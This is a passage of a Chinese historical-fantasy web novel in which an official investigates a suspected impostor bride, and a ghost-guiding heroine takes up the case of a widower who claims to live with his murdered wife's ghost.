片刻后,只见他停下步子,面色却冷了下来。
“你们二人花了这些时日,就没有问出一点关于‘夏熙墨’的过去?”
余琅瞧见任风玦面色不对,立即收起嬉笑之意,细细说道:“任大人,这事怪就怪在这里,关于夏姑娘,西泠县根本没人见过,更别提这些年来的事迹了,简直查无此人!”
“就连那位老门房,也说平日不得见,同在一个府上那么多年,这位夏姑娘居然都不出门!”
余琅又道:“下官根据大人所示,也将西泠县的衣庄、首饰行、乃至胭脂铺,都查问了一遍,结果都说穆家女眷从未亲自到店,基本都是店家直接上门。”
“下官问过一位曾经上门送衣裳的伙计,他说没见着人,但当时是冬日,小姐的冬衣仅裁了两套,都是相同尺寸,他印象深刻,还以为府上只有一位小姐…”
“还有——下官还去各大药铺问过,掌柜说,穆家一位府医确实每月都来抓药和采买补品,药方是用来治疯病的,虽不知究竟为何人服用,但多少与那位得了癔症‘穆小姐’很是相符…”
说到这里,余琅又抬头看了一眼任大人的脸色,轻咳了一声:“时日紧迫,下官能查到的就这些了。”
一旁瑶光也跟着垂下头,如实禀告:“那位周管家说,夏姑娘一直住在汀水暖阁内,因身子不大好,几乎很少出门。”
“卑职也去室内查看过,那房中摆放着夏将军的佩剑,以及夏夫人的丹青,确实像是夏姑娘居所。
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”
任风玦神色一顿,却问:“她住的地方,叫‘汀水暖阁’?”
“是。”
“那阁中除了夏将军夫妇之遗物外,还有什么?”
瑶光仔细想了一下,回答:“卑职记得,除此之外,还有一些针黹女工之物,似乎为夏小姐所长。”
任风玦又问:“那房中…可有药味?”
“倒没有多少药味了。”
瑶光回答得笃定:“但入门旁放着煎药的炉子,一边架上,还摆放了许多药品以及补品。”
“周管家说,夏姑娘这两年身体渐好,一些曾经吃的药,也慢慢停了。”
听完这番话,任风玦面色稍霁,又思忖了片刻,却露出笑意来。
“二位辛苦了,你们所查的这些线索,大致也够用了。”
这话让余琅与瑶光皆是一愣,但紧绷的心,总算松动了几分。
余琅道:“其实无论真假,这穆家都已将能掩藏的,都掩藏好了…”
“下官记得,任大人曾说过一句话,越是查不出什么,才越是可疑…”
任风玦拍了拍他的肩膀,笑道:“余少卿这趟没白走。”
——
任风玦没有预先通报,就直接回了侯府。
进门后,从小厮口中得知,侯爷正在后苑钓鱼。
而夫人已带着夏小姐出门去了。
他问:“夫人去了何处?”
小厮答:“这几日陆续有人下帖子,听闻夏将军之女进京,都争着想见见,昨日夫人已带着夏小姐去了永安伯府,今日一早,又去杜国公府了。”
任风玦听后,心下了然。
这才来了几日,就如此着急着要在京中露脸…
照这个趋势下去,明日只怕是要进宫面见皇后了。
他笑了笑,什么也没说,径自往东院而去。
侯夫人的贴身婢女容舒见了小侯爷,也是吃了一惊,忙上前问:“公子怎么突然回来了?”
“夫人她…”
任风玦直言道:“我知道夫人出去了,就是想过来看看,夏小姐住在哪间房?”
容舒指着一旁的东厢房:“夏姑娘住那间厢房,刚收拾好呢。”
任风玦二话不说,径自朝里走去。
第60章 交代
容舒见任风玦直往东厢房而去,顿时一阵摸不着头脑。
这可不像小侯爷一惯的作风。
又想,他必是极其在意夏小姐,才会如此。
她小心翼翼跟在身后,故意说着好话:“夫人待夏小姐当真如亲女儿一般。”
“府上有任何好东西,都是直接往东厢房里送。”
任风玦一眼望去,光是明面上放的,都琳琅满目,更别提还有三四个大箱笼,以及五六个妆奁内,一些看不见的衣饰。
他目光一行行掠去,却被窗台边的半只锦囊所吸引。
“夏小姐这几日都在做女红?”
容舒回道:“是啊,说是要给夫人绣一只锦囊呢。”
对于“夏熙墨”的手艺,她由衷赞叹:“我瞧着夏小姐手艺真是极好,只怕连锦绣衣庄里最好的绣娘都不及她。”
任风玦没应声,只问她:“夏姑娘来侯府后,可有吃药?”
“倒是有在吃一味药,多的是一些人参补品。”
容舒以为小侯爷是在关心未婚妻,又道:“公子不必担心夏小姐,前两日张医师已经号过脉了,说只是身子底弱了些,其他一切都好。”
任风玦点了一下头,转身朝外走去,吩咐道:“晚些夏小姐回来,就说我白日来过,她不在,下回再来府上看她。”
容舒笑得意味深长:“公子放心,奴婢知晓。”
一边走出东厢房,又一边问了侯夫人的近况,任风玦这才出了东苑。
然而,一名守在门口的小厮,上前说道:“公子,侯爷喊您去一趟后苑呢。”
任风玦知道自己回来一趟,肯定躲不过父亲的耳目,便又往后苑走去。
后苑有一片湖,名为听雪湖,湖边有一间南川院,是任瑄唯一的弟弟——任曜,曾经的居所。
此时,任瑄正独自坐在湖边垂钓,目光则遥遥望着对岸的院子,若有所思。
听见脚步声,他才敛回目光,却不回头,只问:“今日怎么知道回来了?”
任风玦也看了南川院一眼,在他旁边坐下,说了一句:“我瞧着南川院还和十几年前一样,就是小叔的样子,开始有些记不清了…”
闻言,任瑄后背明显一僵,却不接他的话,只冷冷道:“回来也不挑时候,你母亲才带了熙墨出门。”
任风玦知道父亲不想提小叔,便也岔开了话题,“儿子让人去了一趟西泠县,查了一些东西。”
任瑄顿了一下,立即转过身来,板着脸问他:“去西泠县?查什么?”
“查夏熙墨。”
任老侯爷脸色一变,已有怒容:“你这话是什么意思?好端端为什么要查熙墨?”
不等任风玦作解释,他又站起身来,用手指着他:“我这两日倒是听外头的人说了,你在宅中偷偷藏了一个女人,到底是怎么回事?”
任风玦一噎。
心想,这风未免吹得太快。
任瑄继续道:“该不会是不满意这桩婚事,故意做出这样的事情,气我和你母亲吧?”
“关于我宅中那位姑娘…”
任风玦正待解释。
“好啊!”
哪知任侯爷立即怒目圆睁,“你还真藏了女人?几时染上了那些纨绔子弟的恶**!”
“……”
任风玦无奈道:“那位姑娘的身份,我须得晚些时候再向父亲解释。”
“但眼下有一件更重要的事,需要向父亲禀明。”
任瑄虽然恼火,却也知道儿子的品性。
断不会做出什么有辱门风之事。
他压着怒气:“好,究竟是何事?你仔细说来!”
“父亲先答应我别气恼。”
任瑄没好气地从鼻子里闷哼了一声,算是应允。
任风玦这才正色道:“儿子怀疑,府上的这位‘夏熙墨’,并非真正的夏将军之女,而极有可能,是中书侍郎,穆铮之女——穆汀汀。”
这话让任老侯爷的面色变了又变,顿时如同乌云笼罩,半晌才从嘴里吐出两个字:“荒唐!”
“这还能有错?你母亲…”
任风玦义正言辞地打断了他,“父亲别忘了,母亲四年前南下,也是初次见夏将军之女而已,在此之前,咱们并无人见过。”
“可…穆铮,又怎会?”
“又怎么敢!”
任瑄显然不信这个说法。
他更不信,那个看起来文弱木讷的八品散官,胆敢做出这样的欺瞒之事!
“那依你之言,真正的夏
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熙墨呢?又去了哪儿?”
任风玦道:“只怕要当面问了穆铮,才清楚。”
任瑄愣了片刻,思前想后,仍觉得是儿子不满指腹为婚在故意挑事。
“那你派去西泠县的人,可查到了什么?”
任风玦淡然一笑,却卖了一个关子。
“这些就先不透露了,在事情未水落石出之前,父亲只当不知道,心里有个底就好,母亲那边更不必提起。”
“儿子自会给出一个满意的交代。”
任瑄一时无话可说,又重新坐回太师椅上,“好,为父就等你这个交代。”
“不过丑话说在前头,无论你同意与否,这桩婚事都已经是板上钉钉的事了!”
若是从前的任风玦听了这话,必然会心生反感,少不要辩驳两句。
可此时,他却十分淡然。
心似眼下平湖,泛着粼粼波光。
微风荡漾之下,涟漪缓缓四散。
任风玦又看了南川院一眼,对着父亲的背影,说道:“儿子心中也有一件事,一直在等着父亲给一个交代。”
“我知道父亲现在不想说,不过没关系…”
“儿子知道,会有那么一天。”
听见脚步声离去,任瑄徐徐抬起眼帘,也望向了对岸的南川院。
——
今日的杜国公府内,宴请了许多高门女眷。
南苑花厅内,一群服饰华美的贵女们,婷婷袅袅**在一起,正在赏花品茗,聊着京中趣事。
而在一旁的小室内,却有一名身穿湖绿色锦袍的女子,正在贴身婢女伺候下,更换着衣衫。
婢女名唤莺儿,是随着自家小姐从穆府一同到京的。
诚然,正在更换衣衫的女子,正是顶着“夏熙墨”之名入京的穆家嫡女——穆汀汀。
方才席间,她因失手打翻茶水,而弄脏了衣衫,心下正郁郁。
此时,却隐隐听见外面有人在小声议论。
“到底是穷乡僻壤里出来的,**手毛脚,就算穿戴着御赐之物,浑身上下还透着一股小家子气。”
“就是就是,我看她一点都配不上任小侯爷!”
“依我看啊,小侯爷连定安公主都不放在眼里,又怎会喜欢她呢?”
第61章 太子
细碎的话语,像毒虫一样钻进了穆汀汀的耳朵里。
莺儿听不下去了,正想出声反击,却被身旁之人拉了一把。
穆汀汀一手攥紧衣服,一手拉住婢女,并冲她摇了摇头。
“小姐,她们太过分了!”
莺儿压低了声音,却压不住眼底的愤怒。
穆汀汀心里何尝不气?
但走到这一步,想要在这上京城稳住脚,她就得忍着。
忍到人人都知道她是夏将军之女。
忍到与任小侯爷成婚。
等到那个时候,才算扬眉吐气。
母亲在泉下有知,也不会对她失望。
重新换好衣衫,穆汀汀又让莺儿给自己补上胭脂,整了发髻。
确保再次走出门时,还是仪容得体。
那几个在旁边说闲话的女子听见动静,倒也十分识趣地走开了。
到底是仁宣侯府罩着的人,可不敢正面起冲突。
穆汀汀面上挂着落落大方的笑容,看了一眼席间,侯夫人荣氏正在与国公夫人及几位伯爵夫人低声谈话。
她正要过去,荣氏身边的嬷嬷倒先一步走了过来。
“夏小姐,夫人说,你若是觉得闷,可以去花园里赏赏花,或去结识一些朋友,不必一直陪在身边。”
这话让穆汀汀心里一阵感激。
侯夫人必然是看出了她的拘谨,才不让她陪着。
穆汀汀乖巧点头,又福了福身,“那劳烦嬷嬷与夫人说一声,熙墨先去园子里走走。”
国公府的占地面积很大,整体的格局与气派,都不输于仁宣侯府。
走在那亭台楼阁之间,穆汀汀会忍不住在心里感叹。
穆家在西泠县,虽也算得上是数一数二的大户人家。
可若要和京城比,就什么都不是了。
国公府单单只是一间花园,都要大过整个穆府,更别提其间所种植的奇花异木,都是闻所未闻。
穆汀汀慢慢走着,忽觉得手上空空,立即哎呀了一声。
“莺儿,刚刚换衣服的时候,我好像把镯子给忘了。”
那只翡翠镯子是荣氏今早才送给她的,光看品相,就知道十分名贵。
莺儿连忙道:“那我现在回去找找,小姐你在这儿等我。”
穆汀汀点头,“你快去快回。”
莺儿走后,穆汀汀便在旁边找了个亭子坐下。
此时虽是冬日,但正午阳光照耀之下,花园里也并不冷。
这时,却有一道急促的脚步声,从远而近。
“这位姐姐…”
听见声音,穆汀汀立即抬头望去,只见花径上站着一位女子,手中正抱着一件男式氅衣。
“我是冯太尉之女,冯清,可否请姐姐帮我一个忙?”
穆汀汀站起身来,见冯清满脸焦急,便礼貌询问:“请问冯小姐是遇着什么事了吗?”
冯清捂着小腹,慢慢挪到她跟前来,小脸惨白:“太子殿下正在湖边水榭饮酒,让我帮忙拿一件衣服过去。”
“可我忽然身体不适,姐姐能否帮帮我?”
穆汀汀一听,竟是太子殿下,不由得微愣。
冯清观察着她的神色,又继续说道:“我看姐姐有些面生,应该是初到京中,不知太子殿下脾性吧?”
“他惯喜欢使唤我们替他拿东西,还不许婢女代劳。”
穆汀汀倒不知太子今日也在国公府内,心念一起,犹豫着说道:“我倒是…可以替你去,不知太子殿下,会不会不高兴?”
“当然不会,太子殿下好客得很,对于刚认识的‘朋友’,都是客客气气的。”
冯清说着,直接将衣服递给她,“姐姐沿着这条路往前走,看到一座双层水榭,太子殿下就在里面。”
“实在是有劳姐姐了,改日我去你府上登门道谢。”
听她说得这样客气,穆汀汀便将氅衣接在手里,竟还有些重量。
一股淡淡的龙涎香味,从中散发而出,让她面颊都微微烫了起来。
太子殿下…
她也只听父亲提起过一次。
那是何等的人物,不想今日竟有机会能见一面?
“那我替你走一趟吧。”
“谢谢姐姐。”
冯清道了一声谢后,竟一溜烟就跑了。
徒留穆汀汀愣在原地,心下一阵怪异。
心想,她都未问过我是谁,就着急将衣服给我,倒像是着急将烫手的山芋抛出来…
但转念一想,也只是送个衣服而已,若能趁机见一见太子,也不
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失为幸事。
穆汀汀当即又将氅衣里里外外仔细检查了一番,确定没有破损之处,也没有夹杂别的东西,这才稍微心安。
于是,她心中怀着一丝丝期许,沿着花径一直走,果然看到了湖边水榭。
正如冯清所言,水榭有双层,但门口并无人把守。
走入后,里面仍是空无一人。
难道走错了?
穆汀汀忍不住朝二楼望去,正待上楼去,却听见一阵悉悉簌簌的声音传来。
她鬼使神差上了两节楼梯,却听见有女子娇呼了一声,“殿下,有人…”
下一秒,一个男人懒懒出了声:“上来吧。”
闻声,穆汀汀可谓进退两难。
她可以确定,楼上绝对不止太子殿下一人,且听动静,可不像是单纯饮酒那么简单。
“太子殿下,我是代太尉家的冯小姐来替您送衣裳的。”
她只好出声先说明来意。
然而,太子并未出声回应。
倒是一名身姿曼妙的女子,慢慢从楼上走了下来,在经过她身边时,妩媚一笑:“殿下喊你上去呢。”
穆汀汀浑身一震,下意识看了对方一眼。
这样冷的天,她竟只穿着一件白色单衣,领口半敞着,露出若有若无的锁骨,以及可疑且暧昧的痕迹…
看不出什么身份。
但那双眼睛,却像狐狸一般勾人。
穆汀汀连忙收回视线,说道:“能否请姑娘…”
“不能。”
女子又勾唇一笑,“你自己送上去吧。”
说着,她直接下了楼,徒留一阵若有若无的冷香。
穆汀汀在楼梯处僵立片刻,又不敢违命,还是硬着头皮上了楼。
只见一道四扇的绢纱屏风后,隐隐坐着一道男子的身影,空气中确实弥漫着一股酒气。
她一时不敢上前,只能出声问:“殿下,衣服…我给你放在屏风上吧?”
里面的男子低低笑了一声,却吩咐道:“你近前来,我有一句话要跟你讲。”
穆汀汀不得已又往前走了两步。
然而,下一秒,她便听见屏风后面传来一道令人毛骨悚然的声音。
“若有一天,你的**被戳穿,记得来赋楼找我。”
第62章 赏金
自杜国公府出来后,穆汀汀便有些魂不守舍。
此时坐在马车上,侯夫人荣氏看出不对劲,忍不住出声询问:“熙墨,你怎么了?”
“夫人…我没事。”
听到“熙墨”二字,穆汀汀都下意识感到紧张。
虽这些年来都在努力适应着这个名字,尽量不露出破绽。
可…假的终究是假的。
会有露出破绽的那天吗?
她藏在袖中的手,不由得悄悄握紧,指甲深陷掌心,隐隐有些作疼。
“还说没事,脸色这样难看。”
荣氏担心她,便向一旁嬷嬷吩咐道:“一会儿回府上,让张府医过来看看。”
嬷嬷应了。
穆汀汀勉强一笑,“夫人不必为我担心,兴许是刚刚在花园湖边吹到风罢了,回去喝些姜汤驱驱寒就好。”
荣氏摸了摸她的头,眼里满是心疼。
回到侯府后,穆汀汀就直接回了房,但见窗台边的半只锦囊还未绣完,忍不住又想拿起来。
从前在家中,遇到不如意之事,她便喜欢默默做绣工,将所有心事,都密密匝匝缝进针线里。
心里便也开怀了。
这时,侯夫人的贴身婢女容舒端着姜汤走进来。
“哎呀,我的夏小姐,你怎么不躺着休息呢?”
“明明不舒服,还要做这些劳神费心的东西,要是让小侯爷见了,只怕又要心疼。”
听她提起任风玦,穆汀汀手上一顿,心下却一阵怪异,忙问:“容舒姐姐好端端怎么提起了小侯爷?”
“夏小姐有所不知啊。”
容舒将汤碗放在她旁边,笑道:“白日里小侯爷回来过,还专门来了这里一趟。”
“他吩咐我说,今日上门不见小姐,下回再来专程看你呢。”
闻言,穆汀汀脸色愈发难看。
只觉得有些不对劲。
那日,她初到府上,与任风玦一番交涉,就已感受到此人疑心颇重。
自己的那一番话,虽已提前演练了无数次,看似没有破绽。
但似乎…并不足以令他信服。
眼下突然回府,还留下这么一句话,不像是关心慰问,倒更像是…在试探!
穆汀汀心间开始打颤,再结合杜国公府的经历,便隐隐有种不详的预感…
她是不是,真快要被识破了?
——
“鬼哭什么?”
才从孟家老宅走出来,夏熙墨就被无忧的鬼哭声吵得一阵不耐烦。
“你不觉得感人吗?”
无忧一边抹眼泪,一边说道:“世间情人,都向往‘白头偕老,永结同心’,可惜要么‘生离死别’,要么‘同床异梦’…”
“能似孟志远夫妇这般,相携到老,同心白首的人,实在太少了。”
“可惜孟志远死早了几年,不然还能双双携手赴黄泉,实在可歌可泣!”
夏熙墨瞥了它一眼,冷然道:“你看来挺想做人,为何不求地君让你入轮回?而选择做一缕守灯之魂?”
无忧收住哭声,思考了一下,“我自有意识以来,就守着这盏渡魂灯了,还从未想过要做人…”
随后,它又道:“但我接触过那么多个渡魂人,你绝对是最没有人情味的一个。”
“不过话又说回来,我很好奇,在你尘封的记忆里,会不会也有一段荡气回肠的爱情故事呢?”
夏熙墨脚步一顿。
无忧还以为她在驻足思考,倒还期待了一把。
随即,却见她冷睨着自己,反问:“你猜有没有一种符咒能封死你的嘴?”
“……”
耳边终于得到了清净,夏熙墨收起渡魂灯,却不自觉回首朝孟家老宅的方向看了一眼。
孟夫人还在门前目送,见她回头,还招了招手。
将孟志远的话带到后,这位同样满头银发的老夫人却笑着说道:“他从未负我啊,能伴君侧,何其有幸。”
夏熙墨收回视线,莫名觉得,今日阳光照在身上,竟有了一丝暖意。
然而,就在这时,一旁街道上却传来议论声。
“又是他,不是听说官府都结案了吗?他怎么还在闹着要找凶手?”
“大抵是受的刺激太大,人就不正常了!”
“他这次又说要给多少赏金?”
“十锭金子?那看来真是疯了!听
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说他家早就被偷空了,哪里还能掏出这些钱?”
……
听到“十锭金子”时,夏熙墨下意识投去目光。
只见三五个男人正围在一面告示栏上看热闹。
栏下,正坐着一个神情憔悴的男人,一脸失魂落魄。
过了没一会儿,便走来两名巡捕,撕下告示栏上的通告,并将那男人拖到角落里,打了一顿,又狠狠告诫了一番。
“周子规,你若再敢在这里**,可别怪我们抓你进牢房里蹲几天!”
男人好似对于这种事情已然麻木。
被打了一顿,竟连声都不吭,只是木讷坐在那里,嘴里不知在念叨什么。
看热闹的人不由得指指点点,直到巡捕呵斥了一声,这才渐渐散去。
唯有夏熙墨,径自走向了角落的男人。
“帮你找到凶手,是不是真有十锭金子?”
听她声音是个女子,男人似乎并不想搭理,连头都不曾抬一下。
夏熙墨皱眉,忽然觉得,自己这样问也有些许可笑。
她正要离去,却听见男人正在低声喃喃。
“凶手另有其人,娘子鬼魂说了,不是阿达,阿达只是个替死鬼…我一定要杀了真凶,为娘子报仇。”
夏熙墨驻足,又回头仔细打量了他一眼。
对方身上确实阴气很重,却没有一丝戾气与煞气。
而肉眼凡胎,是看不见鬼魂的。
此时,灯魂无忧就浮荡在一旁,他也丝毫不能察觉。
足以说明,他的眼睛不可通阴阳。
既如此,他娘子的鬼魂…
“你能看见鬼魂?”
夏熙墨又冷冷问了一句。
男人这才抬头看了她一眼,原本木讷无神的双眼,竟也拂过一丝讶然。
他似乎未料到,跟自己说话的,竟是这样年轻漂亮的一个姑娘。
“我…”
男人欲言又止,忽然自嘲一笑:“我知道你们不会信我…”
接着,他捂着伤痛之处挣扎着起身,似要离去,却又顿足。
“我确实有十锭金子,但你帮不了我。”
说完这句,他脚步踉跄着,就要离去。
第63章 旧案
夏熙墨眯了一下眼睛。
她确实不爱帮人。
也从来懒得多管闲事。
可帮与不帮,是一种选择。
帮得了与帮不了,是一种能力。
没人跟她说过这样的话。
“你不试试,又怎知我帮不了?”
望着男人的背影,夏熙墨的语气,也强硬得不容拒绝:“带我去见你娘子。”
闻言,周子规缓缓转过身来,又将她深深看了一眼。
年纪不大,但口气不小。
偏偏一双眼睛,浸着寒意,还带着与她外貌不符的威迫力。
令人不敢小觑。
他心中忽然就产生了一个奇怪的念头。
或许,她真能帮上自己呢?
阳光下,周子规看了一眼自己脚下的影子,也不知是什么驱使着他,竟点了点头。
“你不怕的话,跟我来。”
周家虽不是什么大户人家,但曾在东市经营着一家糕点铺子,地理位置好,故而生意向来不错。
做了这些年的生意,也挣了不少钱。
周子规是家中独子,年幼丧父,因此早早便跟着母亲在铺子里做事。
后来,母亲也病逝了,临终前,替他谋了一桩婚事,娶了邻县女子柳氏为妻,并生了一双儿女,这才不至于孤苦伶仃。
可就在半年前,柳氏在带着一双儿女从娘家赶回的路上,出事了。
原定是酉时左右到家,可一直等到天黑都不见人。
周子规心里着急,便将铺子交给伙计,自己雇了一辆马车,打算沿途去接人。
因柳氏娘家是距离京城几十里外的鄢县,为安全起见,他还对自家车夫千叮万嘱,一定要走大道。
可这一路走去,一直到鄢县柳氏娘家,都不见人影。
岳父说,女儿带着外孙吃了晌午饭就动身了,按理说,酉时前是一定能到家的。
听了这话,周子规顿时如坠冰窖,吓得后背发凉。
他当即在鄢县报了官。
而通过官府一夜搜寻,于天亮之际,在一座断崖下,找到了妻子柳氏以及一双儿女的尸身。
但马车与车夫却不知了踪向。
于是,官府将凶犯嫌疑人锁定在车夫阿达身上,又花了一天时间,将其逮捕。
阿达对于柳氏及儿女之死,供认不讳。
承认自己是见柳氏貌美而起了歹心,故意将其带到偏僻无人之处,进行侵犯。
当时,柳氏奋力挣扎,一双儿女也在旁边哭喊。
阿达一时慌张,便直接杀了三人,弃尸崖下。
官府捉拿凶手伏法,案件也就此了结。
路上,周子规主动开口讲述半年前的经历,只是神情木然,即便说到妻儿惨死之处,面上竟也如死水一般沉寂。
夏熙墨默默在旁听着,没有插话。
倒是无忧忍不住疑惑开口:“案件既结,凶手也伏了法,柳氏及儿女的鬼魂也应该入了阴司,去轮回转世了才对。”
“若凶手另有他人,柳氏鬼魂必有怨气,可这周子规身上,除了阴气之外,又并无枉死之魂的气息。”
“着实有些奇怪了。”
夏熙墨仍没应声,视线落却落在不远处一座阴气弥漫的住宅前。
“到了。”
周子规推开宅门,一阵阴风迎面吹来,似有鬼魂在窃窃私语。
他率先踏入,嘴上说了一句:“娘子,我回来了。”
夏熙墨朝里看了一眼,正待跟进,身后却有人开口道:“姑娘,那姓周的就是个疯子,一天天都在家中胡言乱语,他说的话,你可千万不能信!”
她回头,却看见一个乞丐站在路口处。
嘴上说的像是好话,可那眼睛却一直往里瞟着。
也不知心里究竟在做什么打算。
“不怕鬼?”
夏熙墨冷冷看他一眼。
乞丐见她眼神冰冷似刀,就知道不好惹,当即一溜烟跑了。
夏熙墨跟着踏进宅门。
宅子不大,只有一进,进门即可看清全貌。
此时,只见庭院中长满野草,一棵桂花树,伫立其中,却看起来有些鬼气森森。
左右两间厢房,应许久无人居住,尘灰堆积,蛛网遍结。
整体而言,简直就像是一座荒宅。
正屋内,周子规摸黑进了屋,虽室内暗沉,却不点灯。
对着黑暗,他又开始自言自语。
“娘子,你为何在那里躲着?”
“你别害怕,她是来帮我们的。”
“
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什么?你不喜欢她?”
“好,那我赶她走!”
说话间,周子规直接走出正屋,对着庭中的夏熙墨毫不客气说道:“我娘子不欢迎你,你…你还是赶紧走吧!”
夏熙墨没理他,径自向屋内走去。
然而,还未靠近,便有一阵阴风吹来,用力将房门阖上。
显然,这里确实不欢迎她。
夏熙墨被拒之门外,却也面不改色,只是冷冷说道:“阴阳两路,人鬼殊途。”
“若你死得冤枉,就该早日化解冤屈,去阴司重入轮回。”
“以这种方式,强留人间,只会害人害己。”
说完,她也懒得再管这桩闲事,转身朝外走去。
无忧飘在她的身后,不解问道:“走那么快,金子不想赚了吗?”
夏熙墨淡声道:“鬼魂不想报仇,自然不肯说出凶手是谁。”
“可怎么会不想报仇呢?”
无忧更加不解。
柳氏若真是在死前受尽**,那必然怨气极重,且极有可能会化作怨气冲天的厉鬼。
便如那锦绣衣庄的画师珠颜,即便被打散了魂魄,依然能从她的散魂中,感受到怨愤之意。
可这柳氏,却是一点怨念都没有。
当然,还有一点更加令人疑惑,周子规又为何能看见鬼魂?
甚至,与这鬼魂同住一个屋檐下,半年之久?
这一切都实在太怪。
回到任宅时,天已经黑透了。
任风玦正与颜正初在厅内闲聊。
听见门外动静,两人不约而同朝外看了过来。
颜正初倒率先打了个招呼:“夏姑娘,你的那锭金子,小侯爷已经替你付过了。”
任风玦却立即联想到与夏熙墨在刑部衙门前分开时说的话。
心想,她回来得这样晚,该不会真在想着“还钱”的事吧?
他站起身来,正要说话。
夏熙墨却走到门口,向颜正初说道:“道士,有个问题向你请教。”
闻言,任大人只得先将嘴边的话咽了回去。
颜正初也很意外,收了金子,他对这一声“道士”也明显不排斥了。
甚至还笑眯眯回道;“夏姑娘有什么问题,不妨直说。”
第64章 诡事
“凡**眼,除了在符咒的作用下,还有什么时候,能见到鬼魂?”
听了这个问题,正厅内,除任风玦与颜正初尚且淡定之外。
管家任丛与仆人阿春,皆面有惊色,并不由自主竖起了耳朵。
话说,他们还没见过鬼呢…
正待细听,任风玦却轻咳一声,吩咐道:“任叔,阿春,你们暂且退下吧。”
“……”
没法子,公子不让听,他们长了耳朵也听不得。
任风玦又向夏熙墨道:“夏姑娘,不如坐下来再聊。”
夏熙墨进厅内,依然不讲礼数,直接在他旁边坐下。
而遣走了仆人,任大人便得亲自斟上一杯茶水,放到她面前。
颜正初将这一幕收进眼底,不由得一笑,这才说道:“除了符咒之外,还有一些法器,以及道家手印,都是可以的。”
“当然,民间还有一些传言,如以柳叶沾露水擦眼,抑或是取乌鸦泪涂抹于眼周,都能短暂看见鬼魂,至于有没有用就难说了。”
夏熙墨端起茶水抿了一口:“你说的这些都只是短暂见鬼?”
“是,像上回卖给姑娘的那道‘化形符’,也只能撑半炷香的时间。”
夏熙墨点头,却问:“那若是与鬼魂同处一个屋檐下呢?”
颜正初顿住,拧起眉头,神色肃然:“这个只怕不行…”
“人若与鬼居,长久以往,只会阴气过剩,阳气缺失,等到阳气压不住阴气时,这人便有可能会离魂。”
“魂魄离体,本就是极其危险之事,倘若无法力高强之人帮忙招魂,那可就一命呜呼,神仙也救不回了。”
说到这里,颜正初也喝了一口茶,继续说道:“但你说的是与鬼同处一个屋檐下?难道是指…”
夏熙墨道:“能视,能言,与人无异。”
此言一出,别说颜正初,任风玦都微微一惊。
“这可就奇了…”
颜正初有些激动地站起身来,问道:“那这人与鬼在一起多久了?”
“半年。”
“这人还能好端端活着?”
颜道长惊叹:“那可是一百八十多天啊,魂魄滞留在人间七七四十九天都要魂飞魄散,人吸了那么久的阴气,居然还能活?”
“嗯。”
颜正初震惊半晌,才得出一个结论:“看来,这人要么是有高人相助,要么就是在尘世间有不可割舍之事。”
“听说,濒死之际的人,若与魂魄心意相通,便能打破阴与阳之间的结界。”
夏熙墨默了默。
不可割舍之事,想必就是执着于要找到真凶报仇吧?
颜正初又忍不住问:“这样的事,我还只在师祖的除魔手札中见过,夏姑娘又是在哪儿遇到过这样的人?”
夏熙墨不想作答,只道了一句:“问问而已。”
她正要起身回房,似是想到什么,又回头对任风玦吐出四个字:“还有两天。”
任风玦微笑点头,并目送她离去。
在颜正初眼里,二人“眉来眼去”,如同打哑谜一般,还说了一句自己根本听不懂的话,心里可谓好奇得要命。
他忍不住问:“你们究竟有什么小秘密?能否说与我听一下?”
任风玦看了他一眼,依然谦和有礼:“既是秘密,自然是不能与道长讲了,见谅。”
“……”
夏熙墨回到东院客房时,天青照例端来一碗参汤,看着她喝下后,才开始为她准备洗漱之物。
奇怪的是,两人不过相处了几天,竟已可以做到这般融洽。
天青习惯了夏熙墨的沉默寡言,并尽可能做到无微不至。
夏熙墨也习惯了她那套伺候人的方式,虽然繁琐,却也熨帖。
她还习惯了睡在舒适温软的床上,闻着安神怡心的香。
这一晚,她做了一个梦。
梦里,她站在一座山上,望着天高云阔,山高水远。
风吹衣角,撩起长发。
一名白衣少年背对她而坐,正在垂首抚着一架古琴。
琴声泠泠,和着微风,与流动的山间泉水,一并送进她的耳朵里,清扬悦耳。
一曲终了,少年回头,面容却是模糊的。
“墨骨,你道就此一别,可还有相见之日?”
她没回话,而是慢慢背过身去。
天在一瞬间暗了下来。
耳畔忽然传来急促而紊乱的呼救声。
“救我,姑娘,救我!”
“有人要杀我!”
“我把那十锭金子给你,求你,救我!救我娘子…”
猛然回头,一
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张七窍流血的面孔映入眼帘。
夏熙墨睁开眼,窗外已经亮了。
那只摆放在床边的香炉,不知何故倒在地上,还撒了一地的香灰。
她问无忧:“昨夜可有鬼魂来过?”
无忧摇头:“没啊,不过你昨晚应该是做梦了吧?”
夏熙墨没有否认。
那应该不是一般的梦。
或许,她还得去一趟昨日的荒宅。
出东院时,任风玦也正要出门去,由于他常用的那辆双轮马车,因太过破损而被任丛拿去处置了。
眼下,宅内能用的只有一辆四轮马车。
见她似乎也要出门,任风玦便主动问她:“夏姑娘去哪儿?”
夏熙墨答:“东市。”
任风玦转头吩咐阿夏:“先去东市。”
虽马车足够宽敞,但夏熙墨上车厢后,还是习惯性坐主位。
任风玦也丝毫不予计较,直接侧身坐在一旁。
此时,两人共处,他才有机会说出昨日那句未说出口的话。
“昨日…说的金子之事,夏姑娘不必放在心上。”
夏熙墨回:“我没有放在心上。”
任风玦怕自己说得太过委婉,她或许听不明白,便直言道:“我的意思是,你不必还我。”
“嗯。”
她应了一声,面上神情淡淡。
好似这也在情理之中。
任风玦又斟酌道:“而且,你我就算退婚,若你还要留在京中的话…”
“大概不会。”
夏熙墨答道:“我不会待太久,迟早离开。”
她说的离开,是离开尘世。
但任风玦听在耳里,心下竟有些别样的感触。
他微微一顿,“无妨,即便离去,也无需忧心银钱上的事情。”
夏熙墨也看了他一眼。
对视间,马车内的氛围也莫名变得古怪。
好在这时,东街街口到了,阿夏将车停下。
她直接走下去,任风玦又问:“夏姑娘身上可有带银钱?”
“嗯。”
出门时,天青会在她的荷包里塞几块碎银。
若无马车接送情况下,她可以自己雇车。
“那便好。”
望着她的身影走远,任风玦这才转头吩咐阿夏:“先不去刑部,去中书门下。”
第65章 离魂
中书门下,位于皇城外两庑,距离天子最近,主掌政务文书,与刑部平日里几乎沾不上边。
任风玦的到来,多少令小吏感到意外。
问及来由,竟是找中书侍郎。
“任大人,今日侍郎告病,未到门下。”
任风玦不由得起疑,“如此不巧?”
说着,又向小吏问了一下穆铮的住所。
根据小吏所指路线,阿夏将马车赶往城西,来到一处颇为僻静的宅院前。
门口设有牌匾,以草书刻着“文庐”二字,倒挺有文士风雅。
一个侍僮正在门前浇花,见有车至,连忙放下花洒,上前说道:“问贵客安,我家主人外出看病了,并不在家中。”
任风玦掀开车帘朝宅内看了一眼。
